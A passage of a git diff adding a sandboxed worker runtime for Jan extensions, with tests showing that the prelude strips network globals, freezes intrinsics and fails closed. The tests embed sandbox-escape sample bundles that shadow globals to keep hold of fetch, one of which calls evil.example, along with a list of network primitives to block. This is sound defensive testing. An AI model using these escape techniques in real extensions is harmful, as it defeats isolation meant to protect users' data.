c.string(jan, 'publisher', 'jan')+ if (typeof jan.apiVersion !== 'string' || !isCaretRange(jan.apiVersion))+ c.fail('jan.apiVersion', "must be a caret range such as '^1.0.0'")+ checkMain(c, jan.main)+ const permissions = checkPermissions(c, jan.permissions)+ checkProposals(c, jan.proposals)+ checkContributions(c, jan.contributes, permissions)+ checkL10n(c, jan)++ if (c.errors.length > 0) return { ok: false, errors: c.errors }+ const manifest = {+ ...structuredClone(jan),+ name: pkg.name,+ version: pkg.version,+ ...(typeof janEngine === 'string' ? { engines: { jan: janEngine } } : {}),+ } as ValidatedManifest+ return { ok: true, manifest }+}diff --git a/packages/extension-api/tsconfig.build.json b/packages/extension-api/tsconfig.build.jsonnew file mode 100644index 000000000..0a549236c--- /dev/null+++ b/packages/extension-api/tsconfig.build.json@@ -0,0 +1,10 @@+{+ "extends": "./tsconfig.json",+ "compilerOptions": {+ "noEmit": false,+ "declaration": true,+ "outDir": "dist",+ "rootDir": "src"+ },+ "exclude": ["src/**/__tests__/**"]+}diff --git a/packages/extension-api/tsconfig.json b/packages/extension-api/tsconfig.jsonnew file mode 100644index 000000000..fbe09d502--- /dev/null+++ b/packages/extension-api/tsconfig.json@@ -0,0 +1,22 @@+{+ // Type-checks sources and tests. The published output comes from+ // tsconfig.build.json, which excludes the tests.+ "compilerOptions": {+ "target": "ES2022",+ // NodeNext so the emitted ESM carries explicit `.js` specifiers and loads+ // under plain Node, letting authors run validateManifest in their tooling.+ "module": "NodeNext",+ "moduleResolution": "NodeNext",+ "lib": ["ES2022", "DOM"],+ "types": [],+ "strict": true,+ "noUnusedLocals": true,+ "noUnusedParameters": true,+ "verbatimModuleSyntax": true,+ "resolveJsonModule": true,+ "forceConsistentCasingInFileNames": true,+ "skipLibCheck": true,+ "noEmit": true+ },+ "include": ["src"]+}diff --git a/extensions/conversational-extension/vitest.config.ts b/packages/extension-api/vitest.config.tssimilarity index 52%rename from extensions/conversational-extension/vitest.config.tsrename to packages/extension-api/vitest.config.tsindex 8571c5924..ceafc2412 100644--- a/extensions/conversational-extension/vitest.config.ts+++ b/packages/extension-api/vitest.config.ts@@ -2,8 +2,7 @@ import { defineConfig } from 'vitest/config'export default defineConfig({test: {- globals: true,- environment: 'jsdom',- setupFiles: ['./src/test/setup.ts'],+ environment: 'node',+ include: ['src/**/*.test.ts'],},})diff --git a/packages/extension-runtime/package.json b/packages/extension-runtime/package.jsonnew file mode 100644index 000000000..73e65f431--- /dev/null+++ b/packages/extension-runtime/package.json@@ -0,0 +1,44 @@+{+ "name": "@janhq/extension-runtime",+ "version": "0.1.0",+ "private": true,+ "description": "Worker runtime for Jan extensions: typed RPC between the host window and one Web Worker per extension",+ "license": "Apache-2.0",+ "author": "Jan <[email protected]>",+ "type": "module",+ "sideEffects": false,+ "main": "dist/index.js",+ "types": "dist/index.d.ts",+ "exports": {+ ".": {+ "types": "./dist/index.d.ts",+ "default": "./dist/index.js"+ },+ "./prelude-source": {+ "types": "./dist/prelude-source.d.ts",+ "default": "./dist/prelude-source.js"+ },+ "./testing": {+ "types": "./dist/testing/harness.d.ts",+ "default": "./dist/testing/harness.js"+ },+ "./package.json": "./package.json"+ },+ "scripts": {+ "build": "tsc -p tsconfig.build.json && node scripts/build-prelude.mjs",+ "typecheck": "tsc -p tsconfig.json",+ "test": "vitest run"+ },+ "dependencies": {+ "@janhq/extension-api": "workspace:*",+ "acorn": "^8.15.0",+ "ses": "^2.3.0"+ },+ "devDependencies": {+ "@types/node": "^22.10.0",+ "rolldown": "1.0.0-beta.1",+ "typescript": "5.9.2",+ "vitest": "3.2.4"+ },+ "packageManager": "[email protected]"+}diff --git a/packages/extension-runtime/scripts/build-prelude.mjs b/packages/extension-runtime/scripts/build-prelude.mjsnew file mode 100644index 000000000..362184085--- /dev/null+++ b/packages/extension-runtime/scripts/build-prelude.mjs@@ -0,0 +1,46 @@+// Bundles src/worker/prelude.ts into the IIFE that starts every extension+// worker, and wraps it as a JS module whose default export is the source+// text (`@janhq/extension-runtime/prelude-source`). The host needs the text,+// not the code: it composes prelude and bundle into one worker script.+import { mkdir, rename, writeFile } from 'node:fs/promises'+import { dirname, join } from 'node:path'+import { fileURLToPath } from 'node:url'+import { rolldown } from 'rolldown'++const root = join(dirname(fileURLToPath(import.meta.url)), '..')+const dist = join(root, 'dist')++// Written through a temporary name: other test projects may read the module+// while this package's tests rebuild it.+async function writeAtomic(file, content) {+ const tmp = `${file}.${process.pid}.tmp`+ await writeFile(tmp, content)+ await rename(tmp, file)+}++export async function buildPrelude() {+ const bundle = await rolldown({+ input: join(root, 'src/worker/prelude.ts'),+ platform: 'browser',+ // Sources import siblings with `.js` specifiers (NodeNext).+ resolve: { extensionAlias: { '.js': ['.ts', '.js'] } },+ })+ const { output } = await bundle.generate({ format: 'iife' })+ await bundle.close()+ const code = output[0].code+ await mkdir(dist, { recursive: true })+ await writeAtomic(join(dist, 'prelude.js'), code)+ await writeAtomic(+ join(dist, 'prelude-source.js'),+ `export default ${JSON.stringify(code)}\n`+ )+ await writeAtomic(+ join(dist, 'prelude-source.d.ts'),+ '/** The worker prelude IIFE, as source text. */\ndeclare const source: string\nexport default source\n'+ )+ return code+}++if (process.argv[1] === fileURLToPath(import.meta.url)) {+ await buildPrelude()+}diff --git a/packages/extension-runtime/src/__tests__/bundle.test.ts b/packages/extension-runtime/src/__tests__/bundle.test.tsnew file mode 100644index 000000000..0bab44aa9--- /dev/null+++ b/packages/extension-runtime/src/__tests__/bundle.test.ts@@ -0,0 +1,73 @@+import { describe, expect, it } from 'vitest'+import prelude from '../../dist/prelude-source.js'+import { assertBundleShape, composeWorkerSource } from '../index.js'++// What rolldown/esbuild emit for `format: 'iife', name: 'JanExtension'`.+const IIFE = `var JanExtension = (function(exports) {++"use strict";++function activate(ctx) {}+exports.activate = activate+return exports;+})({});+`++const rejected = (bundle: string) => () => assertBundleShape(bundle)++describe('assertBundleShape', () => {+ it('accepts a single var JanExtension, with an optional directive and comments', () => {+ expect(() => assertBundleShape(IIFE)).not.toThrow()+ expect(() =>+ assertBundleShape(`/* license */\n'use strict';\n// built\n${IIFE}// end`)+ ).not.toThrow()+ expect(() =>+ assertBundleShape('var JanExtension = { activate: function () {} }')+ ).not.toThrow()+ })++ it('rejects hoisted declarations that would run before the prelude (set.mjs, nav.mjs, obj.mjs)', () => {+ for (const hostile of [+ `function Set(items) { self.__net = fetch }\n${IIFE}`,+ `function navigator() {}\n${IIFE}`,+ `var navigator;\n${IIFE}`,+ `function Reflect() {}\nReflect.deleteProperty = function () { return true };\n${IIFE}`,+ ])+ expect(rejected(hostile)).toThrowError(+ expect.objectContaining({ code: 'E_INVALID_ARGS' })+ )+ })++ it('rejects every other top-level shape', () => {+ for (const bundle of [+ '',+ 'var JanExtension',+ 'var JanExtension = {}, Set = 1',+ 'var Other = {}',+ 'let JanExtension = {}',+ 'const JanExtension = {}',+ 'class JanExtension {}',+ 'JanExtension = {}',+ 'var JanExtension = {}; var JanExtension = {}',+ 'var JanExtension = {}; self.x = 1',+ "'use client'; var JanExtension = {}",+ '#!/usr/bin/env node\nvar JanExtension = {}',+ 'export var JanExtension = {}',+ 'var JanExtension = {',+ 'var { JanExtension } = {}',+ ])+ expect(rejected(bundle), bundle).toThrowError(+ expect.objectContaining({+ code: 'E_INVALID_ARGS',+ message: expect.stringContaining('JanExtension'),+ })+ )+ })++ it('is enforced by composeWorkerSource', () => {+ expect(() => composeWorkerSource(prelude, 'function Set() {}')).toThrowError(+ expect.objectContaining({ code: 'E_INVALID_ARGS' })+ )+ expect(composeWorkerSource(prelude, IIFE)).toContain(IIFE)+ })+})diff --git a/packages/extension-runtime/src/__tests__/prelude.test.ts b/packages/extension-runtime/src/__tests__/prelude.test.tsnew file mode 100644index 000000000..9b8b884fa--- /dev/null+++ b/packages/extension-runtime/src/__tests__/prelude.test.ts@@ -0,0 +1,594 @@+import { afterEach, describe, expect, it, vi } from 'vitest'+import { ExtensionError, type ValidatedManifest } from '@janhq/extension-api'+import prelude from '../../dist/prelude-source.js'+import {+ ACTIVATE_TIMEOUT_MS,+ CancellationTokenSource,+ DEACTIVATE_METHOD,+ Endpoint,+ INVOKE_METHOD,+ STRIPPED_GLOBALS,+ STRIPPED_NAVIGATOR,+ composeWorkerSource,+ isCallbackRef,+ workerTransport,+ type ControlMessage,+} from '../index.js'+import { runInSandbox, type SandboxWorker } from '../testing/harness.js'++const manifest: ValidatedManifest = {+ name: '@acme/one',+ version: '1.0.0',+ id: 'acme.one',+ displayName: 'One',+ publisher: 'Acme',+ apiVersion: '^1.0.0',+ main: 'dist/index.js',+ permissions: [],+}++const running: { worker: SandboxWorker; host: Endpoint }[] = []++afterEach(() => {+ vi.useRealTimers()+ for (const { host } of running.splice(0)) host.close()+})++/** Starts a composed worker and collects its control messages. */+function boot(+ bundle: string,+ handle: (method: string, args: unknown[]) => unknown = () => undefined+) {+ const worker = runInSandbox(composeWorkerSource(prelude, bundle), {+ name: 'ext:acme.one',+ })+ const controls: ControlMessage[] = []+ const errors: string[] = []+ worker.addEventListener('error', (e) => errors.push(e.message))+ const host = new Endpoint(workerTransport(worker), {+ onControl: (m) => controls.push(m),+ handle: async (method, args) => handle(method, args),+ })+ host.sendControl({ v: 1, t: 'init', manifest })+ running.push({ worker, host })+ const outcome = () =>+ controls.find((m) => m.t === 'ready' || m.t === 'activateFailed')+ return { worker, host, controls, errors, outcome }+}++// Runs inside the sandbox after the prelude, reporting what user code sees.+const PROBE = `+var JanExtension = (function () {+ var names = ${JSON.stringify(STRIPPED_GLOBALS)};+ var navNames = ${JSON.stringify(STRIPPED_NAVIGATOR)};+ var report = { values: {}, chain: {}, redefined: [], assigned: [], nav: {} };+ for (var i = 0; i < names.length; i++) {+ var n = names[i];+ report.values[n] = typeof self[n];+ var seen = [];+ for (var o = self; o && o !== Object.prototype; o = Object.getPrototypeOf(o)) {+ var d = Object.getOwnPropertyDescriptor(o, n);+ seen.push(d ? [d.value === undefined, d.configurable, d.writable, 'get' in d] : null);+ }+ report.chain[n] = seen;+ try { Object.defineProperty(self, n, { value: function () {} }); report.redefined.push(n) } catch (e) {}+ try { self[n] = function () {}; if (self[n] !== undefined) report.assigned.push(n) } catch (e) {}+ try {+ Object.defineProperty(Object.getPrototypeOf(Object.getPrototypeOf(self)), n, { value: function () {} });+ report.redefined.push('proto:' + n);+ } catch (e) {}+ }+ for (var j = 0; j < navNames.length; j++) {+ report.nav[navNames[j]] = typeof navigator[navNames[j]];+ try { Object.defineProperty(navigator, navNames[j], { value: {} }); report.redefined.push('nav:' + navNames[j]) } catch (e) {}+ }+ report.userAgent = navigator.userAgent;+ report.postMessage = typeof self.postMessage;+ return {+ activate: function (ctx) { ctx.log.info(JSON.stringify(report)) }+ };+})();+`++// Spelled out rather than read from STRIPPED_GLOBALS: tests that iterate the+// list cannot notice a primitive missing from it.+const KNOWN_NETWORK_AND_LOADER_GLOBALS = [+ 'fetch',+ 'XMLHttpRequest',+ 'WebSocket',+ 'WebSocketStream',+ 'WebTransport',+ 'EventSource',+ 'importScripts',+ 'Worker',+ 'SharedWorker',+ 'BroadcastChannel',+]++describe('stripped globals', () => {+ it('covers every known network and code-loading primitive', () => {+ expect([...STRIPPED_GLOBALS]).toEqual(+ expect.arrayContaining(KNOWN_NETWORK_AND_LOADER_GLOBALS)+ )+ })++ it('leaves none of them reachable once the prelude has run', async () => {+ // Without the prelude the sandbox must carry a fake for each, or the+ // stripped check below would pass vacuously.+ const bare = runInSandbox('')+ for (const name of KNOWN_NETWORK_AND_LOADER_GLOBALS)+ expect(typeof bare.scope[name], name).toBe('function')+ bare.terminate()++ const logs: unknown[][] = []+ const bundle = `+ var JanExtension = { activate: function (ctx) {+ var names = ${JSON.stringify(KNOWN_NETWORK_AND_LOADER_GLOBALS)};+ var seen = {};+ for (var i = 0; i < names.length; i++) seen[names[i]] = typeof self[names[i]];+ ctx.log.info(JSON.stringify(seen));+ } };`+ const { worker, outcome } = boot(bundle, (method, args) => {+ if (method === 'log') logs.push(args)+ })+ await vi.waitFor(() => expect(outcome()?.t).toBe('ready'))+ await vi.waitFor(() => expect(logs).toHaveLength(1))+ expect(JSON.parse(String(logs[0][1]))).toEqual(+ Object.fromEntries(+ KNOWN_NETWORK_AND_LOADER_GLOBALS.map((n) => [n, 'undefined'])+ )+ )+ expect(worker.leaks).toEqual([])+ })+})++describe('worker prelude', () => {+ it('strips every network and Tauri global before user code runs', async () => {+ const logs: unknown[][] = []+ const { worker, outcome } = boot(PROBE, (method, args) => {+ if (method === 'log') logs.push(args)+ })+ await vi.waitFor(() => expect(outcome()?.t).toBe('ready'))+ await vi.waitFor(() => expect(logs).toHaveLength(1))+ const report = JSON.parse(String(logs[0][1]))+ for (const name of STRIPPED_GLOBALS) {+ expect(report.values[name], name).toBe('undefined')+ for (const level of report.chain[name])+ // value undefined, not configurable, not writable, no accessor+ expect(level, name).toEqual([true, false, false, false])+ }+ // self, DedicatedWorkerGlobalScope, WorkerGlobalScope, EventTarget+ expect(report.chain.fetch).toHaveLength(4)+ expect(report.redefined).toEqual([])+ expect(report.assigned).toEqual([])+ expect(report.nav).toEqual({+ storage: 'undefined',+ locks: 'undefined',+ serviceWorker: 'undefined',+ })+ expect(report.userAgent).toBe('jan-sandbox')+ // Messaging stays: forging a message only reaches the same checked API.+ expect(report.postMessage).toBe('function')+ expect(worker.leaks).toEqual([])+ })++ it('cannot be undone by deleting the stripped names', async () => {+ const logs: unknown[][] = []+ const bundle = `+ var JanExtension = { activate: function (ctx) {+ var out = [];+ for (var o = self; o && o !== Object.prototype; o = Object.getPrototypeOf(o)) {+ out.push(delete o.fetch);+ }+ ctx.log.info(String(out.indexOf(true)), typeof fetch);+ } };`+ const { outcome } = boot(bundle, (method, args) => {+ if (method === 'log') logs.push(args)+ })+ await vi.waitFor(() => expect(outcome()?.t).toBe('ready'))+ await vi.waitFor(() => expect(logs).toHaveLength(1))+ expect(logs[0]).toEqual(['info', '-1', 'undefined'])+ })++ it('fails activation when the bundle defines no JanExtension', async () => {+ const { outcome } = boot('var JanExtension = undefined')+ await vi.waitFor(() => expect(outcome()?.t).toBe('activateFailed'))+ expect(outcome()).toMatchObject({+ error: { code: 'E_INVALID_ARGS', message: expect.stringContaining('JanExtension') },+ })+ })++ it('fails activation when JanExtension has no activate function', async () => {+ const { outcome } = boot('var JanExtension = { activate: 1 }')+ await vi.waitFor(() => expect(outcome()?.t).toBe('activateFailed'))+ })++ it('reports a throwing activate with its message', async () => {+ const { outcome } = boot(+ "var JanExtension = { activate: function () { throw new Error('no config') } }"+ )+ await vi.waitFor(() => expect(outcome()?.t).toBe('activateFailed'))+ expect(outcome()).toMatchObject({+ error: { code: 'E_INTERNAL', message: 'no config' },+ })+ })++ it('reports a rejected registration as a failed activation', async () => {+ const { outcome } = boot(+ "var JanExtension = { activate: function (ctx) { ctx.tools.registerTool('echo', function () {}) } }",+ (method) => {+ if (method === 'tools.register')+ throw new ExtensionError('E_PERMISSION', 'lacks tools')+ }+ )+ await vi.waitFor(() => expect(outcome()?.t).toBe('activateFailed'))+ expect(outcome()).toMatchObject({+ error: { code: 'E_PERMISSION', message: 'lacks tools' },+ })+ })++ it('times out an activate that never settles', async () => {+ vi.useFakeTimers({ toFake: ['setTimeout', 'clearTimeout'] })+ const { outcome } = boot(+ 'var JanExtension = { activate: function () { return new Promise(function () {}) } }'+ )+ await vi.advanceTimersByTimeAsync(ACTIVATE_TIMEOUT_MS - 100)+ expect(outcome()).toBeUndefined()+ await vi.advanceTimersByTimeAsync(200)+ await vi.waitFor(() => expect(outcome()?.t).toBe('activateFailed'))+ expect(outcome()).toMatchObject({ error: { code: 'E_TIMEOUT' } })+ })++ it('answers every ping with a pong of the same number', async () => {+ const { host, controls, outcome } = boot(+ 'var JanExtension = { activate: function () {} };'+ )+ await vi.waitFor(() => expect(outcome()?.t).toBe('ready'))+ host.sendControl({ v: 1, t: 'ping', n: 1 })+ host.sendControl({ v: 1, t: 'ping', n: 2 })+ await vi.waitFor(() =>+ expect(controls.filter((m) => m.t === 'pong')).toEqual([+ { v: 1, t: 'pong', n: 1 },+ { v: 1, t: 'pong', n: 2 },+ ])+ )+ })++ it('runs deactivate and disposes subscriptions on $deactivate', async () => {+ const logs: unknown[][] = []+ const disposed: number[] = []+ const bundle = `+ var JanExtension = {+ activate: function (ctx) {+ ctx.subscriptions.add(ctx.commands.registerCommand('hello', function () {}));+ },+ deactivate: function () { self.__deactivated = true; console.log('bye') }+ };`+ let registrations = 0+ const { host, worker, outcome } = boot(bundle, (method, args) => {+ if (method === 'log') logs.push(args)+ if (method === 'commands.register') return { disposable: ++registrations }+ if (method === '$dispose') disposed.push(args[0] as number)+ })+ await vi.waitFor(() => expect(outcome()?.t).toBe('ready'))+ await host.request(DEACTIVATE_METHOD, [])+ expect(worker.scope.__deactivated).toBe(true)+ await vi.waitFor(() => expect(disposed).toEqual([1]))+ })++ it('invokes a registered callback with a token the host can cancel', async () => {+ let handle: number | undefined+ const bundle = `+ var JanExtension = { activate: function (ctx) {+ ctx.tools.registerTool('wait', function (input, token) {+ return new Promise(function (resolve) {+ token.onCancellationRequested(function () {+ resolve({ content: [{ type: 'text', text: 'cancelled ' + input.n }] });+ self.__cancelled = true;+ });+ });+ });+ } };`+ const { host, worker, outcome } = boot(bundle, (method, args) => {+ if (method === 'tools.register') {+ if (isCallbackRef(args[1])) handle = args[1].$callback+ return { disposable: 1 }+ }+ })+ await vi.waitFor(() => expect(outcome()?.t).toBe('ready'))+ const source = new CancellationTokenSource()+ const call = host.request(INVOKE_METHOD, [handle, [{ n: 1 }]], {+ token: source.token,+ })+ await new Promise((r) => setTimeout(r, 20))+ source.cancel()+ await expect(call).rejects.toMatchObject({ code: 'E_CANCELLED' })+ await vi.waitFor(() => expect(worker.scope.__cancelled).toBe(true))+ })++ it('aborts the script when stripping fails, before user code runs', async () => {+ const worker = runInSandbox(+ composeWorkerSource(+ prelude,+ 'var JanExtension = (self.__userRan = true, { activate: function () {} })'+ ),+ {+ globals: {+ // A property that cannot be replaced: the prelude must fail closed.+ __TAURI__: undefined,+ },+ }+ )+ Object.defineProperty(worker.scope, '__TAURI__', {+ value: 'locked',+ configurable: false,+ writable: false,+ })+ const controls: ControlMessage[] = []+ const errors: string[] = []+ worker.addEventListener('error', (e) => errors.push(e.message))+ const host = new Endpoint(workerTransport(worker), {+ onControl: (m) => controls.push(m),+ })+ running.push({ worker, host })+ await vi.waitFor(() => expect(errors).toHaveLength(1))+ expect(worker.scope.__userRan).toBeUndefined()+ await vi.waitFor(() => expect(controls[0]?.t).toBe('activateFailed'))+ })+})++// The PoCs of the security review, composed without the host's bundle+// check, so the prelude itself is shown not to trust anything a hoisted+// declaration could have replaced.+const unchecked = (bundle: string) =>+ [+ prelude,+ `;${bundle}`,+ ";self.__janBoot(typeof JanExtension === 'undefined' ? undefined : JanExtension)",+ ].join('\n')++function bootUnchecked(bundle: string) {+ const worker = runInSandbox(unchecked(bundle), { name: 'ext:acme.one' })+ const controls: ControlMessage[] = []+ const errors: string[] = []+ const logs: unknown[][] = []+ worker.addEventListener('error', (e) => errors.push(e.message))+ const host = new Endpoint(workerTransport(worker), {+ onControl: (m) => controls.push(m),+ handle: async (method, args) => {+ if (method === 'log') logs.push(args)+ },+ })+ host.sendControl({ v: 1, t: 'init', manifest })+ running.push({ worker, host })+ return { worker, controls, errors, logs }+}++describe('prelude intrinsics', () => {+ it('fails closed when a hoisted declaration replaced Set (set.mjs)', async () => {+ const { worker, controls, errors } = bootUnchecked(`+ function Set(items) {+ if (!self.__net) self.__net = fetch;+ var m = {}; (items || []).forEach(function (k) { m[k] = 1 });+ return { has: function (k) { return !!m[k] }, add: function () { return this }, delete: function () {} };+ }+ var JanExtension = { activate: function () { self.__net('https://evil.example/x') } };`)+ await vi.waitFor(() => expect(errors).toHaveLength(1))+ await new Promise((r) => setTimeout(r, 50))+ expect(controls.some((m) => m.t === 'ready')).toBe(false)+ expect(worker.scope.__net).toBeUndefined()+ expect(worker.leaks).toEqual([])+ })++ it('fails closed, before any bundle code, when a var pins a stripped name', async () => {+ const { worker, controls, errors } = bootUnchecked(`+ var fetch;+ function postMessage() { self.__net = Object.getPrototypeOf(self).fetch }+ var JanExtension = { activate: function () {} };`)+ await vi.waitFor(() => expect(errors).toHaveLength(1))+ expect(controls.some((m) => m.t === 'ready')).toBe(false)+ expect(worker.scope.__net).toBeUndefined()+ })++ it('fails closed when a hoisted declaration replaced Reflect (obj.mjs)', async () => {+ const { controls, errors } = bootUnchecked(`+ function Reflect() {}+ var JanExtension = { activate: function () {} };`)+ await vi.waitFor(() => expect(errors).toHaveLength(1))+ expect(controls.some((m) => m.t === 'ready')).toBe(false)+ })++ it('reports a realm abort to the host at once, through the real postMessage', async () => {+ const { controls } = bootUnchecked(`+ function Reflect() {}+ var JanExtension = { activate: function () {} };`)+ await vi.waitFor(() =>+ expect(controls).toContainEqual({+ v: 1,+ t: 'activateFailed',+ error: {+ code: 'E_INTERNAL',+ message: "The worker global 'Reflect' was replaced before the prelude ran",+ },+ })+ )+ })++ it('reports nothing when postMessage itself was replaced', async () => {+ const { worker, controls, errors } = bootUnchecked(`+ function postMessage() { self.__posted = true }+ var JanExtension = { activate: function () {} };`)+ await vi.waitFor(() => expect(errors).toHaveLength(1))+ await new Promise((r) => setTimeout(r, 50))+ expect(controls).toEqual([])+ expect(worker.scope.__posted).toBeUndefined()+ })++ it('strips storage off the real navigator even when the name is shadowed (nav.mjs)', async () => {+ for (const shadow of ['function navigator() {}', 'var navigator;']) {+ const { worker, controls, logs } = bootUnchecked(`+ ${shadow}+ var JanExtension = { activate: function (ctx) {+ var p = self, g;+ while (p && !((g = Object.getOwnPropertyDescriptor(p, 'navigator')) && g.get)) p = Object.getPrototypeOf(p);+ var real = g.get.call(self);+ ctx.log.info(typeof real.storage, typeof real.locks, typeof real.serviceWorker);+ } };`)+ await vi.waitFor(() => expect(controls.at(-1)?.t).toBe('ready'))+ await vi.waitFor(() => expect(logs).toHaveLength(1))+ expect(logs[0]).toEqual(['info', 'undefined', 'undefined', 'undefined'])+ expect(worker.leaks).toEqual([])+ }+ })++ it('fails closed for a hoisted replacement of any global it reads', async () => {+ for (const name of [+ 'Object',+ 'Array',+ 'Number',+ 'String',+ 'Promise',+ 'Error',+ 'Reflect',+ 'JSON',+ 'Map',+ 'Set',+ 'console',+ 'setTimeout',+ 'clearTimeout',+ 'queueMicrotask',+ 'globalThis',+ 'postMessage',+ 'addEventListener',+ 'removeEventListener',+ 'close',+ ]) {+ for (const decl of [+ `function ${name}() { self.__net = fetch }`,+ `async function ${name}() { self.__net = fetch }`,+ ]) {+ const { worker, controls, errors } = bootUnchecked(+ `${decl}\nvar JanExtension = { activate: function () {} };`+ )+ await vi.waitFor(() => expect(errors, decl).toHaveLength(1))+ expect(errors[0], decl).toContain(name)+ expect(controls.some((m) => m.t === 'ready'), decl).toBe(false)+ expect(worker.scope.__net, decl).toBeUndefined()+ }+ }+ })+})++// Runs as the bundle, after lockdown: tries what a poisoned dependency+// would, and reports which attempts took.+const TAMPER = `+var JanExtension = (function () {+ 'use strict';+ var took = [];+ function attempt(name, fn) { try { fn(); took.push(name) } catch (e) {} }+ attempt('Object.prototype assign', function () { Object.prototype.polluted = 1 });+ attempt('Object.prototype define', function () { Object.defineProperty(Object.prototype, 'polluted', { value: 1 }) });+ attempt('Array.prototype.push', function () { Array.prototype.push = function () { return 0 } });+ attempt('Promise.prototype.then', function () { Promise.prototype.then = function () {} });+ attempt('JSON.stringify', function () { JSON.stringify = function () { return '' } });+ attempt('Function.prototype.call', function () { Function.prototype.call = function () {} });+ attempt('eval', function () { eval('1') });+ attempt('Function', function () { Function('return 1')() });+ var frozen = {+ ObjectPrototype: Object.isFrozen(Object.prototype),+ ArrayPrototype: Object.isFrozen(Array.prototype),+ FunctionPrototype: Object.isFrozen(Function.prototype),+ Promise: Object.isFrozen(Promise)+ };+ return {+ activate: function (ctx) {+ attempt('ctx.http.fetch', function () { ctx.http.fetch = function () {} });+ attempt('ctx.log', function () { ctx.log = {} });+ attempt('ctx.subscriptions.dispose', function () { ctx.subscriptions.dispose = function () {} });+ frozen.ctx = Object.isFrozen(ctx) && Object.isFrozen(ctx.http) && Object.isFrozen(ctx.subscriptions);+ ctx.log.info(JSON.stringify({ took: took, frozen: frozen }));+ }+ };+})();+`++describe('SES lockdown', () => {+ it('freezes the primordials and the ctx after the realm checks passed', async () => {+ const logs: unknown[][] = []+ const { worker, outcome } = boot(TAMPER, (method, args) => {+ if (method === 'log') logs.push(args)+ })+ await vi.waitFor(() => expect(outcome()?.t).toBe('ready'))+ await vi.waitFor(() => expect(logs).toHaveLength(1))+ expect(JSON.parse(String(logs[0][1]))).toEqual({+ took: [],+ frozen: {+ ObjectPrototype: true,+ ArrayPrototype: true,+ FunctionPrototype: true,+ Promise: true,+ ctx: true,+ },+ })+ const realmObject = worker.scope.Object as ObjectConstructor+ expect(Object.isFrozen(realmObject.prototype)).toBe(true)+ expect(worker.leaks).toEqual([])+ })++ it('still strips the network globals and keeps subscriptions working', async () => {+ const disposed: number[] = []+ const { host, outcome } = boot(+ `var JanExtension = { activate: function (ctx) {+ if (typeof fetch !== 'undefined') throw new Error('fetch survived');+ ctx.subscriptions.add(ctx.commands.registerCommand('a', function () {}));+ } };`,+ (method, args) => {+ if (method === 'commands.register') return { disposable: 7 }+ if (method === '$dispose') disposed.push(args[0] as number)+ }+ )+ await vi.waitFor(() => expect(outcome()?.t).toBe('ready'))+ await host.request(DEACTIVATE_METHOD, [])+ await vi.waitFor(() => expect(disposed).toEqual([7]))+ })++ it('logs an error by its message, though lockdown hides the stack', async () => {+ const logs: unknown[][] = []+ const { outcome } = boot(+ "var JanExtension = { activate: function (ctx) { ctx.log.error(new TypeError('bad input')) } }",+ (method, args) => {+ if (method === 'log') logs.push(args)+ }+ )+ await vi.waitFor(() => expect(outcome()?.t).toBe('ready'))+ await vi.waitFor(() => expect(logs).toHaveLength(1))+ expect(logs[0]).toEqual(['error', 'TypeError: bad input'])+ })++ it('locks down even when a hoisted declaration took the name lockdown', async () => {+ const { worker, controls } = bootUnchecked(`+ function lockdown() { self.__fake = true }+ var JanExtension = { activate: function () {} };`)+ await vi.waitFor(() => expect(controls.at(-1)?.t).toBe('ready'))+ expect(worker.scope.__fake).toBeUndefined()+ const realmObject = worker.scope.Object as ObjectConstructor+ expect(Object.isFrozen(realmObject.prototype)).toBe(true)+ })++ it('fails closed when a hoisted declaration took the name harden', async () => {+ const { worker, controls, errors } = bootUnchecked(`+ function harden(v) { self.__fake = true; return v }+ var JanExtension = (self.__userRan = true, { activate: function () {} });`)+ await vi.waitFor(() => expect(errors).toHaveLength(1))+ expect(controls.some((m) => m.t === 'ready')).toBe(false)+ expect(worker.scope.__userRan).toBeUndefined()+ expect(worker.scope.__fake).toBeUndefined()+ })+})++describe('composeWorkerSource', () => {+ it('survives a bundle without a trailing semicolon or ending in a comment', async () => {+ const { outcome } = boot('var JanExtension = { activate: function () {} } // done')+ await vi.waitFor(() => expect(outcome()?.t).toBe('ready'))+ })+})diff --git a/packages/extension-runtime/src/__tests__/rpc.test.ts b/packages/extension-runtime/src/__tests__/rpc.test.tsnew file mode 100644index 000000000..77401d142--- /dev/null+++ b/packages/extension-runtime/src/__tests__/rpc.test.ts@@ -0,0 +1,508 @@+import { MessageChannel } from 'node:worker_threads'+import { afterEach, describe, expect, it, vi } from 'vitest'+import {+ ExtensionError,+ toDisposable,+ type Disposable,+} from '@janhq/extension-api'+import {+ CancellationTokenSource,+ DisposableTable,+ Endpoint,+ HandleTable,+ callbackRef,+ isCallbackRef,+ parseWire,+ portTransport,+ type EndpointOptions,+ type Wire,+} from '../index.js'++const open: Endpoint[] = []++function pair(+ left: EndpointOptions = {},+ right: EndpointOptions = {}+): [Endpoint, Endpoint] {+ const { port1, port2 } = new MessageChannel()+ const a = new Endpoint(portTransport(port1), left)+ const b = new Endpoint(portTransport(port2), right)+ open.push(a, b)+ return [a, b]+}++afterEach(() => {+ for (const e of open.splice(0)) e.close()+})++const deferred = <T>() => {+ let resolve!: (v: T) => void+ const promise = new Promise<T>((r) => (resolve = r))+ return { promise, resolve }+}++describe('Endpoint', () => {+ it('correlates interleaved requests in both directions', async () => {+ const slow = deferred<string>()+ const [host, worker] = pair(+ {+ handle: async (method, args) =>+ method === 'slow' ? slow.promise : `host:${String(args[0])}`,+ },+ { handle: async (_method, args) => `worker:${String(args[0])}` }+ )+ const first = worker.request('slow', [])+ const second = worker.request('fast', [2])+ const third = host.request('fast', [3])+ await expect(second).resolves.toBe('host:2')+ await expect(third).resolves.toBe('worker:3')+ slow.resolve('late')+ await expect(first).resolves.toBe('late')+ })++ it('propagates error codes and maps unknown errors to E_INTERNAL', async () => {+ const [host, worker] = pair({+ handle: async (method) => {+ if (method === 'denied')+ throw new ExtensionError('E_PERMISSION', 'no grant')+ throw new Error('boom')+ },+ })+ void host+ await expect(worker.request('denied', [])).rejects.toMatchObject({+ code: 'E_PERMISSION',+ message: 'no grant',+ })+ await expect(worker.request('other', [])).rejects.toMatchObject({+ code: 'E_INTERNAL',+ message: 'boom',+ })+ await expect(worker.request('other', [])).rejects.toBeInstanceOf(+ ExtensionError+ )+ })++ it('times out and tells the other side to stop', async () => {+ let token: { isCancellationRequested: boolean } | undefined+ const [, worker] = pair({+ handle: (_m, _a, t) => {+ token = t+ return new Promise(() => {})+ },+ })+ await expect(+ worker.request('hang', [], { timeoutMs: 30 })+ ).rejects.toMatchObject({ code: 'E_TIMEOUT' })+ await vi.waitFor(() => expect(token?.isCancellationRequested).toBe(true))+ })++ it('uses a 30 s default 